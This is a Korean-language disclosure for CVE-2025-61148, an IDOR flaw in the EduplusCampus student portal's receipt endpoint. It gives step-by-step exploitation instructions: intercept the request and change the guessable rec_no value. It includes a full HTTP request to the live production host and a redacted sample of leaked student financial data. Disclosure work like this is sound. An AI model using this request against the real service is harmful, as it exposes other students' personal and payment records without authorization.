sharma19d/cve-2025-61148취약점은 Student Payment API에 존재합니다. 애플리케이션은 영수증을 요청하는 사용자가 해당 영수증을 조회할 권한이 있는지 제대로 검증하지 않습니다. 공격자는 API 요청의 rec_no 매개변수를 수정하여 다른 사용자의 영수증에 접근할 수 있습니다.
이 취약점은 학생 결제 API에 존재합니다. 애플리케이션은 영수증을 요청하는 사용자가 해당 영수증을 볼 수 있는 권한이 있는지 제대로 검증하지 않습니다. 공격자는 API 요청의 rec_no 매개변수를 수정하여 다른 사용자의 영수증에 접근할 수 있습니다.
CVE ID: CVE-2025-61148
취약점 유형: Insecure Direct Object Reference (IDOR)
영향받는 제품: EduplusCampus
영향받는 엔드포인트: /student/get-receipt
연구자: Vinay Sharma
EduplusCampus 학생 포털(버전 3.0.1)에서 심각한 Insecure Direct Object Reference (IDOR) 취약점이 확인되었습니다. 이 취약점으로 인해 인증된 사용자가 API 요청의 rec_no 매개변수를 수정하여 다른 학생의 민감한 개인 및 재무 기록에 접근할 수 있습니다.
성공적으로 악용하면 공격자는 다음 정보를 가져올 수 있습니다:
애플리케이션은 결제 영수증을 요청하는 사용자의 권한을 제대로 검증하지 않습니다. rec_no 매개변수는 순차적이거나 추측 가능하며, 서버는 요청된 번호가 현재 로그인한 사용자의 것인지 확인하지 않고 영수증 세부 정보를 반환합니다.
/student/get-receipt에 대한 POST 요청을 가로챕니다.rec_no 매개변수를 찾습니다.rec_no 값을 다른 유효한 영수증 번호로 변경합니다 (예: PCUF-232025를 PCUF-231824로 변경).
POST /student/get-receipt HTTP/1.1
Host: student.edupluscampus.com
Content-Type: application/json
Authorization: Bearer <token>
{
"rec_no": "PCUF-233012"
}
### Leaked DATA Example:
{
"fullname": "REDACTED_NAME",
"rollno": "CSE2019XXX",
"component_total_amount": 55000.0,
"trans_list": [
{
"date": "21-Oct-2024",
"mode": "Online",
"amount": 55000.0,
"tid": "42951XXXX"
}
]
}